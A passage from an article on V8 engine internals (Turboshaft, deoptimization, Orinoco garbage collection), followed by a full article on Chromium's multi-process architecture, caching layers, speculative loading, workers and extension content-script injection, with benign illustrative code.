Starting in 2023 (Chrome 120+), V8 has been migrating TurboFan's backend to **Turboshaft**—a CFG-based IR. As of 2025, all CPU-agnostic backend phases use Turboshaft.

**Results**: Compilation time halved. Same or better code quality.

The Sea of Nodes frontend (JavaScript → IR) is being gradually replaced as well, with the emerging **Turbolev** project aiming to use Maglev's CFG-based IR as the starting point for TurboFan-level optimizations.

### TurboFan Optimization Capabilities

**Speculative optimizations based on feedback**:

- Type-specialized arithmetic (Int32Add instead of generic Add)
- Inline property access (map check + offset load)
- Function inlining

**Advanced analyses**:

- **Escape analysis**: Allocate objects on stack when they don't escape
- **Loop-invariant code motion**: Hoist computations out of loops
- **Redundancy elimination**: Remove duplicate map checks
- **Dead code elimination**: Remove unreachable paths

**Representation selection**: Choose optimal numeric representations:

- Smi (tagged small integer) for values in [-2³¹, 2³¹-1]
- HeapNumber for larger integers or floats
- Raw Int32/Float64 in registers when unboxing is profitable

### Pipeline Walkthrough

<figure>

![TurboFan compilation pipeline with Turboshaft backend](./turbofan-compilation-pipeline-with-turboshaft-backend.svg)

<figcaption>TurboFan compilation pipeline with Turboshaft backend</figcaption>

</figure>

## Deoptimization: The Safety Net

Speculative optimization is only safe because deoptimization provides a reliable escape hatch. When an assumption fails at runtime, V8 reconstructs the interpreter state and resumes in Ignition.

### Why Deoptimization is Not Failure

Deoptimization is designed into V8's architecture, not a bug. It enables aggressive speculation—if V8 had to guarantee correctness without bailouts, it couldn't optimize nearly as aggressively.

**Frequency in practice**: V8 benchmarks show 8 of 15 Octane tests have >5 deoptimization checks per 100 instructions. Real-world code typically stabilizes after warmup, with deoptimizations becoming rare.

### Common Deoptimization Reasons

| Reason                      | Trigger                                 | Example                                        |
| --------------------------- | --------------------------------------- | ---------------------------------------------- |
| `kWrongMap`                 | Object shape changed                    | Function optimized for `{x}` receives `{y, x}` |
| `kNotASmi`                  | Expected small integer, got heap number | `x + 1` where `x` becomes a float              |
| `kOutOfBounds`              | Array access beyond length              | `arr[i]` where `i >= arr.length`               |
| `kOverflow`                 | Integer arithmetic overflow             | Addition exceeds Smi range [-2³¹, 2³¹-1]       |
| `kHole`                     | Sparse array access                     | Accessing uninitialized array element          |
| `kInsufficientTypeFeedback` | Optimized before feedback stabilized    | Polymorphic site went megamorphic              |

### Eager vs. Lazy Deoptimization

**Eager**: Check fails in the currently executing optimized code. Immediate bailout.

**Lazy**: External change invalidates assumptions (e.g., prototype modification). The optimized function is marked for deoptimization and will bailout on next invocation.

### Frame Translation: The Mechanical Challenge

Deoptimization cannot restart from the beginning—side effects may have occurred. It must resume at the exact bytecode offset corresponding to the failed check.

**The process**:

1. **Capture state**: Serialize CPU registers and stack values into FrameDescription
2. **Translate**: Map optimized frame layout to interpreter frame layout (TurboFan pre-generates this mapping)
3. **Replace**: Pop optimized frame, push interpreter frame, jump to bytecode offset

**Why Sparkplug's frame compatibility matters**: Sparkplug uses Ignition's frame layout, making OSR trivial. Maglev/TurboFan use different layouts, requiring full frame translation.

### Performance Impact

Deoptimization cost: ~2x to 20x slowdown for that invocation, depending on function complexity.

**The real cost**: Not the single deoptimization, but the feedback pollution it causes. A function that deoptimizes repeatedly may never reach TurboFan, staying in Maglev or even Sparkplug.

## Orinoco: The Garbage Collector

Orinoco is V8's garbage collection system—designed to minimize pause times while maintaining memory efficiency.

### The Generational Hypothesis

**Core observation**: Most objects die young. A typical web application allocates thousands of short-lived objects (event handlers, intermediate computations, closures) for every long-lived one (cached data, application state).

**Design implication**: Optimize for the common case. Collect young objects frequently and cheaply; collect old objects rarely and thoroughly.

### Heap Structure

| Generation | Size                   | Collection Frequency | Algorithm                     |
| ---------- | ---------------------- | -------------------- | ----------------------------- |
| **Young**  | 1-16 MB (configurable) | Every few ms         | Parallel Scavenge (copying)   |
| **Old**    | Heap limit - young gen | Every few seconds    | Concurrent Mark-Sweep-Compact |

Young generation is further divided:

- **Nursery**: Brand-new allocations
- **Intermediate**: Survived one scavenge

### Young Generation: Parallel Scavenger

**Algorithm**: Semi-space copying. The young generation has two equal-sized spaces (From-Space and To-Space). Live objects are copied from From to To; dead objects are implicitly reclaimed.

**Why copying works for young gen**: With high mortality rates, copying is efficient—you only pay for survivors. Dead objects (the majority) require zero work.

**Orinoco innovation**: **Parallel scavenging**. Multiple threads scan roots and copy survivors simultaneously. Pause time scales inversely with CPU cores.

**Promotion**: Objects surviving two scavenges are promoted to old generation, not copied again. This assumes the generational hypothesis—surviving twice suggests longevity.

### Old Generation: Concurrent Mark-Sweep-Compact

**Three-phase algorithm**:

1. **Mark**: Traverse object graph from roots, mark reachable objects
2. **Sweep**: Add unmarked object memory to free lists
3. **Compact**: Defragment by moving live objects together (optional, triggered by fragmentation thresholds)

**Orinoco's parallelism strategy**:

| Phase   | Execution Model                 | Pause Required                 |
| ------- | ------------------------------- | ------------------------------ |
| Mark    | Concurrent (background threads) | Brief (~1ms) for root scanning |
| Sweep   | Concurrent (background threads) | None                           |
| Compact | Parallel (all threads)          | Full pause (but shared work)   |

**Write barriers**: When JavaScript creates/modifies object pointers during concurrent marking, write barriers record these changes so the GC maintains a consistent view.

### Advanced Techniques

**Black allocation**: Objects promoted to old generation are pre-marked as live ("black"). This skips them in the next marking cycle—a valid optimization because promotion implies expected longevity.

**Remembered sets**: Track old→young pointers so young generation scavenges don't scan the entire old generation. Orinoco uses per-page granularity for parallel-friendly processing.

**Idle-time GC**: Chrome signals idle periods to V8, which performs opportunistic GC work (incremental marking, deferred sweeping). This can reduce heap size by ~45% during idle with minimal user impact.

### Performance Characteristics

Typical pause times:

- Minor GC (scavenge): <1ms
- Major GC (mark-sweep): 1-10ms (most work concurrent)
- Compaction: 10-50ms (rare, only when fragmented)

**Trade-off**: Concurrent GC requires write barriers, adding ~5% overhead to pointer-mutating operations. This is worth it for the pause time reduction.

## Pipeline Evolution

V8's architecture has evolved through three major eras, each addressing the limitations of its predecessor.

### Era 1: Full-codegen + Crankshaft (2008-2017)

**Full-codegen**: Fast baseline compiler generating unoptimized machine code directly from AST. No bytecode.

**Crankshaft**: Optimizing compiler for hot functions.

**The problem—performance cliffs**: Crankshaft could only optimize a subset of JavaScript. Using `try-catch`, certain `arguments` patterns, or `with` statements caused permanent bailouts. Functions would be stuck in slow Full-codegen code forever, with no recovery path.

### Era 2: Ignition + TurboFan (2017-2021)

**The fix**: Bytecode as the canonical representation. Ignition interprets bytecode; TurboFan optimizes from bytecode. This decoupled optimization from parsing and enabled full-language optimization.

**New problem**: The compilation gap. TurboFan's ~1ms compilation cost meant functions needed thousands of invocations to justify optimization.

### Era 3: Four-Tier Pipeline (2021-Present)

**The fix**: Intermediate tiers to smooth the performance curve.

| Year  | Addition   | Purpose                                     |
| ----- | ---------- | ------------------------------------------- |
| 2021  | Sparkplug  | Eliminate interpreter dispatch overhead     |
| 2023  | Maglev     | Quick optimizations without TurboFan's cost |
| 2023+ | Turboshaft | Replace TurboFan's Sea of Nodes backend     |

### Future: Turbolev

The **Turbolev** project (in development as of 2025) aims to use Maglev's CFG-based IR as input to Turboshaft's backend, potentially replacing TurboFan entirely.

## Conclusion

V8's performance emerges from the interplay between its components:

- **Tiered compilation** provides fast startup while enabling peak performance for hot code
- **Hidden classes and ICs** make predictable patterns observable, enabling speculative optimization
- **Deoptimization** makes aggressive speculation safe
- **Orinoco GC** minimizes pause times through parallelism and concurrency

The architecture's evolution—from performance cliffs to smooth gradients, from Sea of Nodes to CFG—demonstrates pragmatic engineering over dogma. Each change addressed real performance gaps measured in production.

## Appendix

### Prerequisites

- Understanding of JIT compilation concepts (interpreter vs. compiler trade-offs)
- Familiarity with basic compiler terminology (AST, IR, bytecode)
- Knowledge of JavaScript's dynamic typing model

### Summary

- V8 uses four compilation tiers: Ignition (interpreter) → Sparkplug (baseline) → Maglev (mid-tier) → TurboFan (top-tier)
- Hidden classes (Maps) enable O(1) property access by describing object shapes
- Inline caches track shapes at each property access site; megamorphic (>4 shapes) sites prevent optimization
- Deoptimization safely reverts to interpreter when speculation fails
- Orinoco GC achieves <1ms pauses for young generation through parallel scavenging
- Turboshaft is replacing TurboFan's Sea of Nodes backend with CFG-based IR

### Terminology

- **AST (Abstract Syntax Tree)**: Tree representation of source code structure
- **CFG (Control-Flow Graph)**: IR representing program as basic blocks connected by control edges
- **Deoptimization**: Reverting from optimized code to interpreter when assumptions fail
- **FeedbackVector**: Per-function array storing inline cache data for optimization
- **Hidden Class / Map**: V8's internal object shape descriptor enabling fast property access
- **IC (Inline Cache)**: Mechanism tracking object shapes at property access sites
- **IR (Intermediate Representation)**: Compiler's internal code representation between source and machine code
- **JIT (Just-In-Time)**: Compilation strategy that compiles code during execution
- **Megamorphic**: IC state when >4 different shapes observed; optimization typically abandoned
- **Monomorphic**: IC state when exactly 1 shape observed; optimal for speculation
- **OSR (On-Stack Replacement)**: Switching between tiers mid-function-execution
- **Polymorphic**: IC state when 2-4 shapes observed; still optimizable with shape checks
- **Sea of Nodes**: Graph-based IR where nodes represent operations and edges represent dependencies
- **Smi (Small Integer)**: V8's tagged integer representation for values in [-2³¹, 2³¹-1]
- **SSA (Static Single-Assignment)**: IR form where each variable is assigned exactly once
- **Turboshaft**: V8's new CFG-based backend replacing Sea of Nodes in TurboFan

### References

#### Official V8 Documentation

- [V8 Ignition Documentation](https://v8.dev/docs/ignition) - Interpreter architecture
- [V8 TurboFan Documentation](https://v8.dev/docs/turbofan) - Top-tier optimizer
- [V8 Hidden Classes](https://v8.dev/docs/hidden-classes) - Object shape tracking

#### V8 Blog (Primary Source)

- [Launching Ignition and TurboFan](https://v8.dev/blog/launching-ignition-and-turbofan) - 2017 architecture rewrite
- [Sparkplug — a non-optimizing JavaScript compiler](https://v8.dev/blog/sparkplug) - Baseline JIT introduction (2021)
- [Maglev - V8's Fastest Optimizing JIT](https://v8.dev/blog/maglev) - Mid-tier compiler (2023)
- [Trash talk: the Orinoco garbage collector](https://v8.dev/blog/trash-talk) - GC architecture
- [Land ahoy: leaving the Sea of Nodes](https://v8.dev/blog/leaving-the-sea-of-nodes) - Turboshaft migration
- [Static Roots: Objects Allocated at Compile Time](https://v8.dev/blog/static-roots) - 2024 optimization
- [Explicit Compile Hints](https://v8.dev/blog/explicit-compile-hints) - Chrome 136+ feature

#### Core Maintainer Content

- [An Introduction to Speculative Optimization in V8](https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/) - Benedikt Meurer
- [V8 Behind the Scenes](https://benediktmeurer.de/2017/03/01/v8-behind-the-scenes-february-edition/) - Benedikt Meurer
- [Understanding V8's Bytecode](https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775) - Franziska Hinkelmann

#### Technical Deep Dives

- [The Sea of Nodes](https://darksi.de/d.sea-of-nodes/) - IR architecture explanation
- [Monomorphism in JavaScript](https://www.builder.io/blog/monomorphic-javascript) - IC optimization guide

---

## Browser Architecture: Processes, Caching, and Extensions

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/js-runtime-internals/browser-internals
**Category:** Browser & Runtime Internals / JavaScript Runtime Internals
**Description:** Modern browsers are multi-process systems with sophisticated isolation boundaries, layered caching hierarchies, and extension architectures that modify page behavior at precise lifecycle points. This article maps Chromium’s process model (browser, renderer, GPU, network, utility processes), the threading architecture within renderers (main thread, compositor, raster workers), caching layers from DNS through HTTP disk cache, speculative loading mechanisms, and extension content script injection timing.

# Browser Architecture: Processes, Caching, and Extensions

Modern browsers are multi-process systems with sophisticated isolation boundaries, layered caching hierarchies, and extension architectures that modify page behavior at precise lifecycle points. This article maps Chromium's process model (browser, renderer, GPU, network, utility processes), the threading architecture within renderers (main thread, compositor, raster workers), caching layers from DNS through HTTP disk cache, speculative loading mechanisms, and extension content script injection timing.

<figure>

![Chromium multi-process architecture: browser process coordinates sandboxed renderers, network service, GPU process, and extension processes via Mojo IPC](./chromium-multi-process-architecture-browser-process-coordinates-sandboxed-render.svg)

<figcaption>Chromium multi-process architecture: browser process coordinates sandboxed renderers, network service, GPU process, and extension processes via Mojo IPC</figcaption>

</figure>

## Abstract

A browser is a **privilege-separated, multi-process operating system for the web**. The architecture solves three fundamental problems:

1. **Security isolation**: Untrusted web content runs in sandboxed renderer processes with minimal OS privileges. The browser process acts as a privileged kernel, mediating all system access.

2. **Stability**: A crashed renderer takes down only its tabs, not the entire browser. The GPU process can restart independently. The network service recovers from failures.

3. **Performance isolation**: Heavy JavaScript on one site doesn't block rendering on another. The compositor thread enables smooth scrolling even when the main thread is blocked.

**The process hierarchy:**

| Process   | Privileges              | Responsibility                                       |
| --------- | ----------------------- | ---------------------------------------------------- |
| Browser   | Full OS access          | UI, navigation, policy enforcement, IPC coordination |
| Renderer  | Sandboxed, site-locked  | DOM, CSS, JavaScript, layout (one per site-instance) |
| GPU       | Limited graphics access | Rasterization, compositing, display                  |
| Network   | Network stack only      | DNS, HTTP, caching, TLS                              |
| Utility   | Task-specific           | Audio, video decoding, data decoding                 |
| Extension | Semi-privileged         | Background workers, content scripts                  |

**The caching hierarchy:**

```
DNS cache (browser) → Socket pool (keep-alive) → Memory cache (renderer)
                                               → HTTP cache (disk)
```

**Extension injection timing**: Content scripts inject at three points—`document_start` (after CSS, before DOM), `document_end` (DOM complete, before subresources), or `document_idle` (browser-optimized timing between `document_end` and `load`). Each script runs in an **isolated world**—a separate JavaScript execution context that shares DOM access but not variables with the page.

## The Multi-Process Model

Chromium's multi-process architecture emerged from a fundamental insight: browsers execute untrusted code (JavaScript from any website), so the rendering engine must be treated as a hostile environment.

### Why Multi-Process?

**Single-process browsers (pre-Chrome era)** suffered from cascading failures. A bug in Flash crashed the entire browser. A malicious page could access cookies from other tabs. Memory leaks accumulated across all sites.

**The Chrome design (2008)** applied OS security principles: each site runs in a sandbox with minimal privileges, communicating with the privileged browser process through validated IPC channels.

**Trade-offs:**

- **Memory overhead**: Each renderer process has its own V8 heap, Blink data structures, and system libraries. Chrome consumes more memory than single-process browsers.
- **IPC latency**: Cross-process communication adds microseconds of overhead. For most operations this is negligible, but it affects architectures requiring tight coupling.
- **Complexity**: The codebase must handle process crashes, IPC message validation, and distributed state.

The trade-offs are worth it. A compromised renderer cannot access the filesystem, network stack, or other tabs without exploiting additional vulnerabilities in the browser process.

### Process Types and Responsibilities

**Browser Process (privileged kernel)**

The browser process has full OS privileges and runs no untrusted content. It manages:

- Window and tab lifecycle
- Navigation decisions (URL bar, bookmarks, history)
- Permission prompts (geolocation, camera, notifications)
- Cookie and storage management
- IPC routing between all other processes
- Policy enforcement (blocking malicious sites, enforcing CSP)

For each renderer, the browser maintains a `RenderProcessHost` object that handles communication. For each document (including iframes), it maintains a `RenderFrameHost` tracking security state and capabilities.

**Renderer Process (sandboxed, site-locked)**

Renderers execute web content: HTML parsing, CSS cascade, JavaScript execution, layout, and painting. Each renderer is:

- **Sandboxed**: On Linux, seccomp-bpf restricts system calls. On Windows, process tokens are restricted. On macOS, the App Sandbox limits file and network access.
- **Site-locked** (with Site Isolation): A renderer can only access content from its assigned site (scheme + eTLD+1). Cross-site iframes run in separate renderer processes.

A single renderer may host multiple frames from the same site (in-process frames) or serve as a dedicated process for a single tab.

**GPU Process**

The GPU process handles all graphics operations:

- Rasterization (converting paint commands to pixels)
- Compositing (combining layers from multiple renderers)
- Video decode (hardware acceleration)
- WebGL/WebGPU execution

Separating GPU operations isolates graphics driver bugs. A driver crash restarts the GPU process, not the browser.

**Network Service (utility process)**

The network service handles all network I/O:

- DNS resolution and caching
- HTTP/HTTPS connections
- TLS handshakes
- Disk cache management
- Cookie storage (at the request of the browser process)

On desktop platforms, the network service runs in a dedicated utility process. On Android (for memory reasons), it runs in-process with the browser. The service exposes `NetworkContext` and `URLLoader` Mojo interfaces to the browser process—these interfaces are never exposed to renderers.

**Utility Processes**

Specialized processes handle untrusted data parsing:

- Audio/video decoding
- PDF rendering
- Data URL parsing
- Archive extraction

Each utility process is spawned for a specific task and terminated when complete, minimizing attack surface.

### Site Isolation: The Security Boundary

Site Isolation ensures pages from different sites run in different processes. This is the primary defense against compromised renderers and side-channel attacks (Spectre).

**Site vs. Origin:**

- **Origin**: `https://sub.example.com:443` (scheme + host + port)
- **Site**: `https://example.com` (scheme + eTLD+1)

Site Isolation uses sites rather than origins because same-site cross-origin pages can synchronize via `document.domain`. Two pages setting `document.domain = 'example.com'` gain synchronous DOM access, requiring them to share a process.

**Process allocation:**

```
https://a.example.com/page → Renderer A
https://b.example.com/page → Renderer A (same site)
https://other.com/page     → Renderer B (different site)
https://a.example.com/     → Renderer A (even in different tab)
  └── <iframe src="https://other.com/embed"> → Renderer B (OOPIF)
```

**Out-of-Process Iframes (OOPIFs)**: Cross-site iframes run in separate renderer processes. The browser process coordinates rendering, compositing the iframe's pixels into the parent frame's display.

**Process locking**: Once a renderer is assigned a site, it's locked to that site for its lifetime. A renderer locked to `https://example.com` cannot load content from `https://other.com`. The browser process enforces this, rejecting IPC messages that would violate the lock.

**Security benefits:**

- **Renderer exploits contained**: An attacker who gains code execution in a renderer can only access data for that renderer's site
- **UXSS mitigated**: Universal XSS bugs cannot cross process boundaries
- **Spectre defense**: Side-channel attacks cannot read memory from other processes

### Mojo IPC: The Communication Layer

Chromium's Inter-Process Communication (IPC) uses Mojo, a capability-based system with strongly-typed interfaces.

**Why Mojo over legacy IPC?**

- **3x faster** with 1/3 the context switches compared to the original IPC system
- **Type-safe**: Interfaces defined in `.mojom` IDL files, generating C++ bindings
- **Capability-based**: Processes receive interface endpoints, not raw process handles

**Core primitives:**

- **Message pipes**: Bidirectional channels for structured messages
- **Data pipes**: Unidirectional byte streams for bulk data (network responses)
- **Shared buffers**: Memory shared between processes (compositor surfaces)

**Example: Renderer requesting a network fetch**

```
Renderer Process                    Browser Process
      |                                   |
      |-- CreateLoaderAndStart() -------->|
      |   (URLLoaderFactory interface)    |
      |                                   |
      |<---- OnReceiveResponse() ---------|
      |   (URLLoaderClient interface)     |
      |                                   |
      |<---- OnReceiveBody() -------------|
      |   (Data pipe for body bytes)      |
```

The renderer never directly accesses the network. It holds a `URLLoaderFactory` endpoint provided by the browser, which validates requests against the renderer's site lock before forwarding to the network service.

## Threading Architecture in the Renderer

Within each renderer process, work is distributed across specialized threads to maintain responsiveness.

### Main Thread: The JavaScript Bottleneck

The main thread runs:

- JavaScript execution (V8)
- DOM construction and manipulation
- CSS cascade and style resolution
- Layout calculation
- Hit testing for input events
- HTML parsing

**The problem**: JavaScript blocks the main thread. A 100ms computation prevents scrolling, animations, and input handling.

**Design rationale**: JavaScript has synchronous DOM access by design. Moving DOM operations off the main thread would require fundamental API changes that break the web platform.

### Compositor Thread: Smooth Scrolling and Animations

The compositor thread runs in parallel with the main thread, handling:

- Scroll event processing (for non-JS scrolls)
- CSS animations and transitions (when not JavaScript-driven)
- Layer compositing decisions
- Coordination with the GPU process

**The key insight**: Most scrolls and animations don't require JavaScript. By intercepting these events on the compositor thread, the browser delivers 60fps even when the main thread is blocked.

**Example: Scroll performance**

```
User scrolls                    Compositor Thread           Main Thread
    |                                  |                        |
    |-- scroll input ----------------->|                        |
    |                                  |-- transform layers --->| (async)
    |<-- updated frame ----------------|                        |
    |                                  |                        |
    |   (continues at 60fps)           |   (can be blocked)     |
```

If the page has a scroll event listener with `passive: false`, the compositor must wait for JavaScript—breaking this optimization.

### Raster Threads and GPU Process Coordination

Paint operations generate display lists (Skia commands). These are sent to the GPU process for rasterization:

```
Main Thread      Compositor Thread     Raster Workers     GPU Process
    |                   |                    |                |
    |-- paint --------->|                    |                |
    |                   |-- raster tasks --->|                |
    |                   |                    |-- GPU cmds --->|
    |                   |<-- tiles done -----|                |
    |                   |-- composit ------->|                |
    |                   |                    |                |
```

Multiple raster worker threads parallelize tile rasterization. The compositor assembles rasterized tiles into the final frame.

### The Blink-V8 Relationship

Blink (the rendering engine) and V8 (JavaScript engine) are tightly integrated:

- **1:1 isolate-to-thread**: Each thread with JavaScript has exactly one V8 isolate
- **Binding layer**: `platform/bindings` connects DOM objects to JavaScript wrappers
- **Microtask integration**: V8 microtasks (Promise reactions) integrate with Blink's event loop

When JavaScript accesses `document.body`, V8 calls through the binding layer to Blink's DOM implementation. When Blink dispatches a DOM event, it invokes V8 to run the handler.

## Caching Hierarchy

Browsers implement multiple cache layers, each optimized for different access patterns.

### DNS Caching

**The problem**: DNS resolution adds 20-120ms to every new origin connection. Caching eliminates this latency for repeat visits.

**Chromium's DNS architecture:**

```
HostResolverManager (browser process)
         |
         |-- Check HostCache (per-context)
         |       |
         |       └── Cache hit → return immediately
         |
         |-- System resolver (getaddrinfo)
         |       └── OS DNS cache, /etc/hosts, upstream DNS
         |
         └-- Built-in resolver (DnsClient)
                 └── DoH/DoT, bypasses OS
```

**Design decisions:**

- **Per-context cache**: Each `URLRequestContext` has its own `HostCache`, enabling isolation between profiles
- **Request merging**: Multiple requests for the same hostname share a single resolution job
- **TTL-based expiration**: Cache entries expire based on the DNS record's Time-To-Live
- **Stale-while-revalidate**: In some configurations, stale results return immediately while fresh resolution proceeds in the background

**Limits:** The host cache typically holds several thousand entries. Entries are evicted by LRU when space is needed.

**Visibility**: `chrome://net-internals/#dns` shows the current cache state and allows manual clearing.

### Connection Pooling and Keep-Alive

**The problem**: TCP+TLS handshake adds 100-300ms per new connection. Connection reuse eliminates this overhead.

**Chromium's socket pool:**

- Maintains persistent connections per origin
- HTTP/1.1: Multiple sockets per host (typically 6)
- HTTP/2: Single socket per origin, multiplexed streams
- HTTP/3: Single QUIC connection per origin

**Keep-alive behavior:**

- Idle connections remain open for ~60 seconds (configurable by server)
- Connections are reused for subsequent requests to the same origin
- The socket pool tracks which connections are available for reuse

### HTTP Cache: Memory and Disk

The HTTP cache stores responses for future use, avoiding network roundtrips entirely.

**Architecture:**

```
Network request → HttpCache::Transaction
                        |
                        |-- Check in-memory index
                        |-- Check disk cache (if not in memory)
                        |-- Validate freshness (Cache-Control, ETag)
                        |-- Return cached response or fetch from network
```

**The disk cache backend:**

- **Index file**: Memory-mapped hash table mapping URLs to cache addresses
- **Block files**: Fixed-size blocks (256B, 1KB, 4KB) for small entries
- **Separate files**: Large entries (>16KB) get individual files
- **LRU eviction**: Multiple lists (not-reused, low-reuse, high-reuse) with time-based eviction

**Cache locking**: Single-writer, multiple-reader. Only one network request per resource in flight at a time, preventing redundant fetches.

**Sparse entries**: Large media files use sparse storage—only fetched ranges are cached. Enables resumable downloads and efficient video seeking.

**Renderer memory cache (distinct from HTTP cache)**: Blink maintains an in-memory cache for recently used resources within a renderer. This cache lives in the renderer process and provides sub-millisecond access for repeated resource requests within a page.

### Cache Lookup Priority

When the renderer requests a resource:

1. **Renderer memory cache**: Check Blink's in-memory cache (same-process, fastest)
2. **HTTP cache (disk)**: Check the network service's disk cache
3. **Socket reuse**: If fetching, check for available keep-alive connection
4. **DNS cache**: If new connection, check DNS cache
5. **Network**: Fetch from origin server

## Speculative Loading Mechanisms

Browsers speculatively fetch resources before they're needed, hiding latency from users.

### The Preload Scanner

**The problem**: HTML parsing blocks on synchronous scripts. While waiting for script execution, the parser cannot discover subsequent resources.

**The solution**: A secondary, lightweight HTML parser (the preload scanner) runs ahead of the main parser, discovering resources in the markup.

```
Main Parser                     Preload Scanner
    |                                 |
    |-- blocked on <script> --------->| continues scanning
    |                                 |-- discovers <img>
    |                                 |-- discovers <link>
    |                                 |-- initiates fetches
    |<-- script executed              |
    |-- continues parsing             |
```

**What the preload scanner finds:**

- `<img src>` and `srcset`
- `<link rel="stylesheet">`
- `<script src>` (including `async`/`defer`)
- `<link rel="preload">`

**What it cannot find:**

- JavaScript-injected elements
- CSS `background-image`
- Dynamically added scripts
- Resources in `data-` attributes (lazy loading patterns)

### Resource Hints

Developers can hint future resource needs:

**`dns-prefetch`**: Resolve DNS only

```html
<link rel="dns-prefetch" href="https://api.example.com" />
```

Cost: ~0.5KB memory, one DNS lookup. Use for third-party origins you'll connect to.

**`preconnect`**: DNS + TCP + TLS handshake

```html
<link rel="preconnect" href="https://cdn.example.com" />
```

Cost: Socket and memory overhead. Use sparingly (2-4 origins max).

**`prefetch`**: Fetch resource with low priority for future navigation

```html
<link rel="prefetch" href="/next-page.html" />
```

Cost: Network bandwidth, disk cache space. Use for likely next pages.

**`preload`**: Fetch resource with high priority for current page

```html
<link rel="preload" href="/critical.css" as="style" />
```

Cost: Network bandwidth, competes with other critical resources. Use for late-discovered critical resources.

### Prerendering and Speculation Rules

**Prerendering** renders an entire page in a hidden tab before navigation. When the user clicks, the page activates instantly.

**Speculation Rules API** (Chrome 109+):

```html
<script type="speculationrules">
  {
    "prerender": [{ "urls": ["/next-page", "/product/123"] }]
  }
</script>
```

**Eagerness levels:**

| Level          | Trigger                 | Use Case              |
| -------------- | ----------------------- | --------------------- |
| `immediate`    | As soon as rules appear | High-confidence links |
| `eager`        | 10ms hover (desktop)    | Likely clicks         |
| `moderate`     | 200ms hover             | Medium confidence     |
| `conservative` | Pointer down            | Just-in-time          |

**Limits:**

- Maximum 10 concurrent prerenders per page
- Blocked in Save-Data mode, low battery, memory pressure
- Cross-origin iframes not rendered until activation

**Cost**: Significant memory and CPU. Only prerender pages with high navigation probability.

## Workers and Thread Isolation

Web Workers enable background JavaScript execution without blocking the main thread.

### Dedicated Workers

A dedicated worker runs in a separate thread, with its own V8 isolate:

```javascript
// main.js
const worker = new Worker("worker.js")
worker.postMessage({ data: largeArray })
worker.onmessage = (e) => console.log(e.data)

// worker.js
self.onmessage = (e) => {
  const result = heavyComputation(e.data)
  self.postMessage(result)
}
```

**Isolation model:**

- Separate thread (not just async)
- No DOM access
- Communication via structured clone (serialization) or transferable objects
- Own global scope (`self`, not `window`)

**Process placement**: Workers typically run in the same renderer process as their parent document but on a separate thread.

### Shared Workers

Shared workers are accessible from multiple browsing contexts (tabs, iframes) on the same origin:

```javascript
// tab1.js and tab2.js
const shared = new SharedWorker("shared.js")
shared.port.postMessage("hello")

// shared.js
self.onconnect = (e) => {
  const port = e.ports[0]
  port.onmessage = (e) => {
    /* handle */
  }
}
```

**Use case**: Coordinating state across tabs without the main thread overhead of `BroadcastChannel`.

**Limit**: One instance per origin. If multiple pages connect, they share the same worker instance.

### Service Workers

Service Workers intercept network requests, enabling offline functionality and caching control:

```javascript
// sw.js
self.addEventListener("fetch", (event) => {
  event.respondWith(caches.match(event.request).then((cached) => cached || fetch(event.request)))
})
```

**Architecture in Chromium:**

- **Browser process**: `ServiceWorkerContextCore` manages registration and lifecycle
- **Renderer process**: Worker thread executes the service worker code
- **Activation**: Browser dispatches `fetch` events through Mojo to the worker thread

**Lifecycle:**

1. **Registration**: Browser downloads and parses the script
2. **Installation**: `install` event fires; cache resources
3. **Activation**: `activate` event fires; claim clients
4. **Idle termination**: Worker stops when idle (no pending events)
5. **Restart**: Browser restarts the worker for new events

**Scope**: Service workers control all fetches within their scope (URL path prefix).

## Extension Architecture and Injection

Browser extensions modify and extend browser behavior through a privileged API surface.

### Extension Components

**Background service worker** (Manifest V3):

- Runs in the extension process
- Access to Chrome APIs (`chrome.tabs`, `chrome.storage`, etc.)
- Event-driven: loaded when needed, unloaded when idle
- No DOM access

**Content scripts**:

- Injected into web pages
- Full DOM access
- Limited Chrome API access (`chrome.runtime` for messaging)
- Runs in an isolated world (separate JavaScript context)

**Popup/options pages**:

- Extension UI
- Same privileges as background service worker

### Content Script Injection Timing

Content scripts inject at three lifecycle points:

**`document_start`**:

- Executes after CSS files begin loading but before DOM construction
- The document exists but is empty (`<html>` may not exist yet)
- Use case: Intercept or modify initial page state

```javascript
// document_start
console.log(document.documentElement) // may be null
document.addEventListener("DOMContentLoaded", () => {
  /* DOM ready */
})
```

**`document_end`**:

- Executes when DOM is complete but before subresources (images, frames) load
- Equivalent to `DOMContentLoaded`
- Use case: Manipulate DOM before it renders

```javascript
// document_end
document.body.classList.add("extension-modified")
```

**`document_idle`** (default):

- Browser chooses optimal time between `document_end` and `load`
- Prioritizes page load performance
- Use case: Non-critical modifications

**Injection order:**

1. Manifest-declared content scripts (in declaration order)
2. Programmatically registered scripts (via `chrome.scripting.registerContentScripts`)

### Isolated Worlds

Content scripts run in an **isolated world**—a separate JavaScript execution context with its own global object.

**What is shared:**

- DOM tree (same `document.body`)
- DOM events (both worlds see `click` events)

**What is isolated:**

- Global variables (`window.foo` in page !== `window.foo` in content script)
- Prototypes (`Array.prototype` modifications don't cross)
- JavaScript APIs (page can't call content script functions)

**Security implications:**

- Page JavaScript cannot detect or tamper with content scripts
- Content scripts cannot accidentally pollute page globals
- XSS in a content script is contained (attacker can't access extension APIs)

**Communication between worlds:**

```javascript
// Content script
window.postMessage({ source: "extension", data: "hello" }, "*")

// Page script
window.addEventListener("message", (e) => {
  if (e.data.source === "extension") {
    /* handle */
  }
})
```

### How Extensions Affect Page Load

**Performance impact:**

- **`document_start` scripts**: Block DOM construction until script completes
- **`document_end` scripts**: Run after DOM, may delay rendering
- **`document_idle` scripts**: Minimal impact (browser-optimized timing)

**Best practices:**

- Use `document_idle` unless early injection is required
- Keep content script code minimal
- Defer heavy processing with `requestIdleCallback` or `setTimeout`
- Use `run_at` manifest field to specify timing

**Content Security Policy**: Extensions have their own CSP, restricting `eval()` and external script loading. Content scripts cannot bypass the page's CSP for injected elements.

## Conclusion

Browser architecture reflects decades of security and performance optimization:

- **Multi-process isolation** contains compromised renderers, limiting attack scope
- **Site Isolation** prevents cross-site data leakage, even via Spectre-class attacks
- **Threading separation** (main, compositor, raster) enables smooth animations despite main thread work
- **Layered caching** (DNS, sockets, disk, memory) eliminates redundant network operations
- **Speculative loading** (preload scanner, prefetch, prerender) hides latency before users notice
- **Extension isolation** (separate worlds) enables powerful DOM modification without security compromise

